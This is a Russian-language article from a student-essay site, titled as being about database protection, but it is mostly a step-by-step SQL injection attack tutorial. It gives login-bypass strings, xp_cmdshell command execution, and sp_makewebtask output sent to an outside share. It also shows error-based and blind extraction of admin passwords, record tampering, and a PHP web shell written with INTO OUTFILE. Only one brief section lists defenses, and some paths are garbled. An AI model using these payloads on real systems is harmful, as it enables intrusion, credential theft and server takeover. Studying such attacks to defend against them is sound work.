Статья

Статья Защита баз данных 2

Работа добавлена на сайт bukvasha.net: 2015-10-29

Поможем написать учебную работу

Если у вас возникли сложности с курсовой, контрольной, дипломной, рефератом, отчетом по практике, научно-исследовательской и любой другой работой - мы готовы помочь.

Предоплата всего

от 25%

Подписываем

договор

Выберите тип работы:

Скидка 25% при заказе до 11.11.2024





Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС. Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>
Все параметры между и </FORM> потенциально могут быть уязвимы к введению SQL кода.


2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно: http://securitylab.ru/?ID=31610
3.0. Как мне проверить что то, что я нашел, уязвимо?


Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1—

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi' or 1=1—

Pass: hi' or 1=1—

http://duck/index.asp?id=hi' or 1=1—

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>

<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food
В URL, 'category' – это имя переменной, и 'food' – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:


v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать: SELECT * FROM product WHERE PCategory='food' Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом: http://duck/index.asp?category=food' or 1=1--SELECT * FROM product WHERE PCategory='food' or 1=1--‘ Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#". Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте: ' or 'a'='a Теперь SQL запрос станет: SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Этот запрос возвратит тот же самый результат. В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей: ' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a


4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд: '; exec master..xp_cmdshell 'ping 10.10.1.2' -- Попробуйте использовать двойные кавычки ("), если (') не срабатывает. Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера: http://securitylab.ru/?ID=31610 Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML: '; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10
Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Соответствующая конструкция '%25login%25' будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".
6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')—
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2.
Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.
Давайте получим первый login_name из таблицы "admin_login":
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец
, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Выдаст:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "neo" с паролем 'm4trix'.
6.3 Как получить числовое значение строки?
Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для '+' = 0x2b). Затем, мы добавим в конец '%20morpheus' в фактический пароль. Поэтому, даже если значение пароля '31173', он станет '31173 morpheus'. Вручную вызывая функцию convert(), пытаясь преобразовать ' 31173 morpheus' в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Теперь мы сможем войти в систему как "trinity" с паролем '31173'.
7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--
Чтобы внести (INSERT) новую запись в базу данных:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Теперь мы сможем войти в систему как "neo" с паролем 'newpas5'.
8.0 Как избежать SQL Injection?
Фильтруйте специальные символы во всех строках в:
- любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.
Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

В настоящее время можно встретить большое количество статей, описывающих эксплуатацию уязвимости SQL инъекцию, в одной из самых распространенных СУБД, MySQL. Практически все эти статьи подразумевают, что на уязвимом сервере работает четвертая версия сервера MySQL.

Действительно, в реализации языка SQL в четвертой версии сервера стало доступным ключевое слово UNION, его использование в MySQL инъекции позволит злоумышленнику получить содержание произвольных таблиц. К которым имеет доступ пользователь, из под которого происходит соединение с базой данных.

Такая ситуация привела к мнению, что в MySQL 3 SQL инъекция в принципе не может ничем грозить.

Даже некоторыми хакерами считается что, если на сервере используется СУБД MySQL третей версии, то это случай безнадежный. Однако, у меня есть свое мнение на этот счет, и я хочу показать, что в некоторых ситуациях данный вопрос имеет свой ответ.

Хотя в настоящее время MySQL третей версии можно встретить все реже и реже, все же вследствие немалой популярности этой СУБД, третья версия все еще установлена на очень большом количестве сервером. В некоторых случаях просто никто не хочет обновить систему, в некоторых считают, что так безопаснее, в некоторых следить за сервером просто некому. Ситуации бывают разные, а MySQL 3 остается.

Три или четыре

И так, обнаружен факт SQL инъекции. Как определить что это действительно, MySQL, и определить версию MySQL сервера.

Допустим, инъекция имеет место в запросе, типа http://localhost/test.php?id=1, в параметре id. Если страница выводит некоторое содержание, соответствующее введенному идентификатору, то можно предположить, что имеет место инъекция после where запроса. Мы считаем, что факт наличия SQL инъекции в нашем случае выявлен любыми средствами, о которых описано в настоящее время немало, и действительно имеет место.

Допустим, нападающий заметил, что он может внедрять булевы конструкции в запрос, и они явно влияют на результат запроса. Так, например http://localhost/test.php?id=1+AND+0, выведет страницу без содержания, а http://localhost/test.php?id=1+AND+1, выведет страницу, аналогичную странице с переданным параметром id=1.

Имя этот факт, уде можно составить серию запросов к серверу с целью подтвердить (или опровергнуть) предположение, что это СУБД MySQL, и, случае, если это действительно MySQL, выявить версию сервера.

И для того и для другого можно использовать особенность реализации SQL в MySQL. А именно, содержание специальных скобок вида /*!NNNNN … */ будет выполнено обычным образом, в MySQL тогда и только тогда, когда полная версия сервера (записанная подряд, без точек, с ведущими нолями в подверсиях), больше или равна чем NNNNN. В противном случае эта запись будет воспринята как комментарий.

Одновременно, в реализации языка SQL в большинстве современных СУБД, это запись будет воспринята как комментарий в любом случае.

Учитывая, что, в любом случае, записанная таким образом версия mySQl сервера будет больше, чем 00000, то запись /*!00000 Any_SQL_commands */ будет эквивалента Any_SQL_commands, в любом запросе в MySQL. Одновременно, эта запись будет эквивалента комментарию в любых других СУБД.

Таким образом, можно однозначно определить MySQL, в нашем примере, сделав следующий запрос: http://localhost/test.php?id=1+/*!00000+AND+0+*/.

Вывод пустой страницы (эквивалент запроса http://localhost/test.php?id=1+AND+0), будет однозначно свидетельствовать о том, что имеет место взаимодействие действительно с СУБД MySQL. В противном случае, это, скорее всего не MySQL. Следует учесть, что все это верно только в идеальной ситуации – отсутствие фильтрации и т.п., что однако, не редкость.

Используя этот прием, можно однозначно определит, имеет СУБД MySQL в нашем случае версию 3.x или 4.x. Достаточно сделать следующий запрос: http://localhost/test.php?id=1+/*!40000+AND+0+*/. Этот запрос вернет пустую страницу (в нашем примере), тогда и только тогда, когда версия MySQL сервера 4.x.

Пользуясь дихотомическим поиском, нетрудно определить и точную версию MySQL сервера. Для этого, достаточно будет составить следующую серию запросов:

http://localhost/test.php?id=1+/*!40000+AND+0+*/

http://localhost/test.php?id=1+/*!41000+AND+0+*/

http://localhost/test.php?id=1+/*!40500+AND+0+*/

http://localhost/test.php?id=1+/*!40300+AND+0+*/

http://localhost/test.php?id=1+/*!40400+AND+0+*/



http://localhost/test.php?id=1+/*!40311+AND+0+*/

http://localhost/test.php?id=1+/*!40312+AND+0+*/

В случае, если предпоследний запрос вернул пустую страницу, о последний вернул страницу, аналогичную http://localhost/test.php?id=1, то можно однозначно судить, что MySQL сервер имеет версию 4.3.12

Еще один метод определения версии MySQL сервера состоит в использовании функции version(), которая возвращает строку с текущей версией. Этот метод можно применять в случаях, если какие либо причины мешают использовать предыдущий метод. Например, происходит фильтрация символов /.

К примеру, если запрос http://localhost/test.php?id=1+AND+(version()+like+’4%’) возвратит страницу, соответствующую идентификатору id=1, то можно однозначно судить о том, что MySQL сервер имеет четвертую версию.

Если применение кавычек мешает фильтрация, то вместо строки можно использовать функцию, которая в качестве значения вернет необходимую строку. Можно использовать char(), функцию, которая возвращает строку, соответствующую из символов с ASCII кодами которые приняты в качестве аргументов.

Пример. Запрос http://localhost/test.php?id=1+AND+(version()+like+char(25,34)), будет аналогичен предыдущему, но не будет содержать кавычек.

Пользуясь этим примером можно выявить и полную версию СУБД MySQL, либо последовательно подбирая все символы, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.

Стоит отметить, что подомным же образом можно подобрать и значения других функций, которые могут быть интересны нападающему. User() – возвращает имя пользователя MySQL из под которого произошло подсоединение с базой данных. Database() – возвращает имя текущей базы данных.

Даже, если инъекция происходит в произвольном запросе в произвольном месте, выяснить MySQl это или нет, и версию MySQL аналогичным образом можно, например внедряя внутри этих скобок значения, которые однозначно “испортят” запрос.

http://localhost/test.php?id=1+/*!40000+AND+blablabla+*/, и нападающий сможет узнать, выполнились ли инструкции (которые не являются синтаксически верными инструкциями MySQL), или нет, по тому, нормально функционирует скрипт при таком запросе (инструкции были восприняты как комментарий), или нет (инструкции были проинтерпретированы как часть запроса).

Следует помнить, что инструкции должны быть синтаксически верными, однако приводящими к ошибке в запросе. В случае ошибки в синтаксисе, эта запись в любом случае будет воспринята как комментарий. Об этом стоит помнить, и несколько видоизменять запрос для каждой конкретной ситуации.

Инъекция после where

SQL инъекция после ключевого слова where является одним из наиболее распространенных случаев. SQL запрос в этом случае имеет примерно следующий вид select … from … where … rowN=$row …, где вставляется в запрос без надлежащей фильтрации.

В случае, если имеет место инъекция в третей версии сервера, то нижеизложенный прием позволит получить содержание любой записи любого столбца в любой таблице, используемой в запросе.

Допустим имеет место SQL инъекция в скрипте http://localhost/test.php?id=1, который выводит в броузер некоторую информацию о соответствующем пользователе. Естественно, пароль пользователя не выводиться. Покажем, каким образом в MySQL 3 можно узнать как пароль произвольного пользователя, так и пароль целевого пользователя. Считаем, что пароль храниться в открытом виде в той же таблице, в которой и хранятся и остальные параметры пользователя. Те, имя этой таблицы явно участвует в запросе.

Если в таблице храниться хеш пароля, та нападающему станет известен хеш, который надо будет еще расшифровать.

Для получения информации из некоторого столбца, нужно как минимум знать имя этого столбца. В случае, если запрос сложный, то кроме имени столбца нужно еще знать имя таблицы, либо псевдонима таблицы, используемой в запросе. При чем, если псевдоним использовался, то необходимо знать именно псевдоним.

Имя таблицы или ее псевдоним понадобиться знать только в том случае, если в запросе использует более одной таблицы, и имя подбираемого столбца присутствует в более чем одной таблице, из присутствующих в запросе.

Вряд ли, более чем в одной таблице будут присутствовать такие столбцы, как login или pass и т.п, так что подбирать имя таблицы в большинстве случаев не необходимо.

Если это система с открытым исходным кодом, или в ошибках системы выводиться достаточно информации о запросе, то это не составит проблемы. Однако, в случае, если внешнему пользователю ничего не известно о внутренней структуре запроса и базы данных, то имя поля и, возможно имя таблицы придется подбирать вручную.
Пример


http://localhost/test.php?id=1+or+password=’abc’

http://localhost/test.php?id=1+or+pass=’abc’

http://localhost/test.php?id=1+or+passwd=’abc’

http://localhost/test.php?id=1+or+u.password=’abc’

http://localhost/test.php?id=1+or+user.password=’abc’



Если результатом одного из представленных запросов будет страница, идентичная странице с переданным идентификатором id=1, то это будет свидетельствовать о том, что имя столбца, и, возможно, имя таблицы найдено успешно.

Допустим, интересующее нас имя столбца – pass,те второй запрос вернул положительный результат.

Вычислим пароль любого пользователя системы. Пароль будем подбирать последовательно, по одной букве, либо пользуясь конструкцией like, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.

http://localhost/test.php?id=9999999+or+pass+like+’a%’ (-)

http://localhost/test.php?id=9999999+or+pass+like+’b%’ (-)



http://localhost/test.php?id=9999999+or+pass+like+’p%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’pa%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’paa%’ (-)



http://localhost/test.php?id=9999999+or+pass+like+’pas%’ (+)



http://localhost/test.php?id=9999999+or+pass+like+’pas21m1%’ (+)

http://localhost/test.php?id=9999999+or+pass+like+’pas21m1_%’ (-)

Запись, соответствующая идентификатору 9999999, не существует в базе данных, в этом стоит убедиться заранее.

Плюсом отмечен положительный результат запроса. Положительным считается результат, выводящий параметры хоть какого то пользователя в броузер. Отрицательный (-) результат имеет место в случае, если выведена страница, идентичная передачи id=9999999, те пустая страница.

При этом может выводиться как один результат, так и несколько (все найденные), в зависимости от того, как написан скрипт. Вывод параметров какого либо пользователя в броузер при каком либо запросе следует интерпретировать именно как то, что его пароль удовлетворяет этим условиям.

То что предпоследний запрос выдал положительный результат, а последний – отрицательный следует интерпретировать, что все символы пароля успешно подобраны. Действительно, если бы остался неподобранным хотя бы один символ справа то он совпал бы с символом нижнего слеша, а, возможно, остальные символы совпали бы с символом процент.

При подборе символов пароля таким способом следует помнить, что в пароле могут присутствовать как символы английского алфавита, так и цифры и другие символы. В случае, если в пароле присутствует символ _ или %, то при их подборе внутри like, эти символы следует мнемонизировать обратной косой.

Совершенно очевидно, что таким образом мы сможем подобрать пароль произвольного или нескольких произвольных пользователей в системе. Однако, не очевидно, что мы сможем подобрать пароль целевого пользователя, особенно если пользователей очень много.

Действительно, в описанной нами ситуации скорее всего будет выведен первый случайный пользователь, пароль которого удовлетворяет данным условиям. А о том, удовлетворяют эти условия целевому пользователю или нет мы никогда не узнаем, так он должен был бы вывестись вторым.

Те, если выводятся все результаты запроса, либо, играя с limit, все же можно узнать пароль целевого пользователя, но это может быть сопряжено с некоторыми трудностями.

Описанный прием лучше применять, если достаточно знать пароль любого пользователя, те все подобные пользователи равноправны.
Теперь, допустим, необходимо узнать пароль целевого пользователя. Для этого как минимум необходимо выяснить, как мы сможем идентифицировать запись в БД, соответствующую этому пользователю. Например, запись можно идентифицировать по идентификатору, или имени пользователя, либо по другим параметрам. В любом случае необходимо выяснить, какие значения должны быть в соответствующих столбцах искомой записи.


Например, идентифицировать некоторую запись администратора можно было бы так:

http://localhost/test.php?id=9999999+or+(id=1), или

http://localhost/test.php?id=9999999+or+(login=’admin’)

После того, как интересующая нас запись может быть идентифицирована, можно аналогичным образом подобрать пароль.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’a%’) http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’b%’)

и так далее.

Кроме того, для убыстрения поиска, в обоих случаях, можно воспользоваться дихотомическим поиском.

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’k’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’g’) (+)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’h’) (-)

http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’fk’)

и так далее, последовательно перебирать каждую букву.

Стоит отметить, что в любом описанном в этой статье случае, строковую константу, заключенную в кавычки, можно заменить на функцию char(), с соответствующими аргументами.

Инъекция после order by

В нередких случаях внедрение произвольного кода возможна после ключевого слова order by. Наиболее часто подобная инъекция возможна, когда скрипт принимает в качестве параметра имя столбца, по которому следует произвести упорядочивание, и вставляет его в запрос без предварительной фильтрации.

Так как ключевое слово where согласно синтаксису SQL должно находиться перед order by, таким образом, невозможно внедрение булевых функций, ограничивающих вывод с целью получения информации о значениях некоторых записей.

Однако, в MySQL после order by, разрешено использовать функции и значения столбцов в произвольной комбинации, и пользуясь этим фактом, можно подобрать значения любых столбцов для произвольной и целевой записи в любой таблице, используемой в запросе.

Допустим, скрипт http://localhost/test2.php?order=id выводит список пользователей системы, упорядочив их по id, причем значение переменной order вставляется в скрипт без надлежащей фильтрации.

Стоит вспомнить, что в MySQL булевы значения приводятся к целым значениям, соответственно 0 и 1.

Заметим следующую особенность, http://localhost/test2.php?order=(-id*1) упорядочит строки от большего id к меньшему, и это понятно, так как упорядочивание происходит по противоположной функции.

Одновременно http://localhost/test2.php?order=(-id*0) выведет записи в естественном порядке, без всякого упорядочивания. Скорее всего, это будет тот порядок, в котором записи добавлялись в базу данных, и скорее всего, это будет порядок по возрастанию id. Это поведение также объяснимо. В этом случае упорядочивание происходит по функции, которая константно равна нулю на всем множестве полей, те, для любой записи в БД, значение (-id*0) одинаково и равно нулю. Т.е, никакого упорядочивания произведено не будет.

Ну, и как говорилось ранее, вместо нуля или единицы можно вставлять произвольные булевы условия, значение которых MySQL приведет к целому.

Примеры http://localhost/test2.php?order=(-id*(2=1)), или

http://localhost/test2.php?order=(-id*(‘abc’=’abc’))

Эти булевы условия могут содержать в том числе и значения других столбцов таблиц.

http://localhost/test2.php?order=(-id*(pass+like+’a%’))

http://localhost/test2.php?order=(-id*(pass+like+’b%’))

и так далее.

Теперь осталось научиться различать, отгадали мы или нет. В этом случае, в случае, если пароль не удовлетворяет введенному условию, то значение функции по которой делается упорядочивание будет равно нулю для таких записей.

В случае, если пароль для некоторых записей удовлетворяет введенному условию, то для таких записей упорядочивание произойдет по значению –id, которое всегда меньше нуля.

Если нет уверенности в том, что значение id всегда больше нуля, то можно поступить след образом:

http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))

Теперь, функция, по которой происходит упорядочивание всегда меньше нуля для записей, для которых пароль удовлетворяет условию, и равен нулю, для которых условие для пароля неверно. Учитывая, что упорядочивание происходит по возрастанию, то все записи, для которых условие окажется верным, окажутся вверху списка.

Если нет гарантии, что упорядочивание действительно происходит по возрастанию, можно добавить ключевое слово ASK, и, возможно, обрезать оставшуюся часть запроса, символом /*, или %00.

Напомним, что /* обозначает открытие комментария. MySQL нормально реагирует на незакрытые комментарии в запросе. %00 же колирует символ с котом ноль, который в Си подобных языках обозначает конец строки, и функция MySQL API mysql_query(), посчитает этот символ обычным концом строки, а, значит и запроса.

Пример: http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))+ASK+/*

И так, допустим исходное упорядочивание, по –id, было таким:

5 user5

4 user4

3 user3

2 admin

1 root

и, после запроса http://localhost/test2.php?order=(-id*(pass+like+’b%’)) стало таким:

4 user4

2 admin

1 root

3 user3

5 user5, то этот результат следует интерпретировать, как то, что пароли у user4 и admin начинаются на символ b.

Аналогичным образом подбирается и весь пароль.

Если нас интересует пароль любого пользователя, то положительным результатом мы считаем, если в “вылезшем наверх” списке пользователей присутствует хотя бы один пользователь. Если же нас интересует пароль, какого то конкретного пользователя, то положительным результатом мы считаем то, что, этот пользователь присутствует в вылезшем наверх списке.

В качестве основы этого метода лежит упорядочивание по произведению двух функций – отрицательной для всех записей основной функции, и сигнальной булевой функции. Знак минус взят для того, чтобы интересующие нас результаты появлялись в начале списка, а не в конце, те просто для удобства.

В большинстве случаев, в качестве основной функции можно взять (-id), или (-(abs(id)+1)), однако, это может быть и любая другая функция, возвращающая разные значения для разных записей в таблице. Например, это может быть длина некоторого текстового поля, или даже комбинации некоторых функций от некоторых полей.

В этом примере, аналогичным образом можно использовать дихотомический поиск, и функцию char() вместо строк-констант.

PHP SHELL, или инъекция после limit

Действительно, почти безнадежным делом в инъекции в MySQL 3.x может стать то, что инъекция возможна после ключевого слова limit. Это вероятно в тех ситуациях, когда скрипт принимает и, не фильтруя, вставляет в запрос параметр, отвечающий за количество или смещение выведенных записей (например, номер страницы, количество записей на странице).

К счастью программиста, допустившего ошибку, и к разочарованию хакера, после параметрами limit могут быть только целые числа, а не выражения.

Конструкция into outfile в руководстве MySQL описана идущей сразу после select, однако, как показывает практика, ее можно поставить и в самый конец запроса, после limit. Таким образом, единственное, что сможет сделать хакер в такой ситуации, это попытаться сохранить результаты запроса в файл с произвольным месторасположением и именем.

Напомним, что имеется несколько ограничений.

Файл не должен существовать на диске

У пользователя MySQL должны быть права на работу с файлами (file_priv)

Целевая директория должна быть доступна на запись всем пользователям.

Имя файла должно быть с полным путем.

Имя файла должно быть строкой в кавычках. Использования выражений не допускается

Таким образом, если хакер знает полный путь до веб каталога на сервере, знает имя папки, в которую разрешена запись всем пользователям (такую папку он сможет найти и перебором), то нападающий сможет вывести результаты запроса в файл, в том числе с расширением, сопоставленным с некоторым интерпретатором, например PHP.

Однако, как внедрить в результат запроса злонамеренные данные, например PHP Shell код? Ответ на этот вопрос не очевиден, и дать на него ответ должен сам нападающий, исследуя конкретную систему.

Так, например, если инъекция после limit возможна в скрипте, выводящем сообщения на форуме, в параметре, отвечающим за номер страницы, то, вероятно, для положительного результата следует добавить сообщение на форуме, содержащее PHP Shell код, и затем произвести сохранение результатов запроса в файл.

Запрос может быть примерно таким http://localhost/test3?page=34+into+outfile+’/path/to/web/banners/cmd.php’, где на 34-ую страницу форума добавлено сообщение типа <? System($_GET[‘cmd’]) ?>

В случае, если, кроме того, на сервере присутствует уязвимость типа local php source code injection, то практически в любом случае таким образом можно создать файл с PHP shell кодом в любой общедоступной на запись директории, с последующем подцеплением этого файла в уязвимости типа PHP инъекция. Например, директория /tmp/, обычно доступна на запись всем пользователям.

Стоит еще раз заметить, что в качестве имени файла нельзя использовать выражения, а, значит, и привычный фокус с char(), не пройдет в случае, если кавычки фильтруются.

Стоит отметить, что фокус с into outfile будет возможен и в других двух вышеописанных случаях, и эксплуатироваться он будет примерно также.

Внимание.

Все приведенные HTTP запросы в статье – это всего лишь примеры, демонстрирующие принцип. В реальных системах запросы могут выглядеть иначе, иметь более сложный вид, однако принцип сохраниться тот же.

Кроме того

Я не стал описывать в статье подробно некоторые другие довольно часто встречаемые ошибки в скриптах, которые довольно подробно описаны и в других источниках.

Например, если при сравнении пароля с паролем в БД используется функция like а не =, то значение % совпадет с любым паролем.

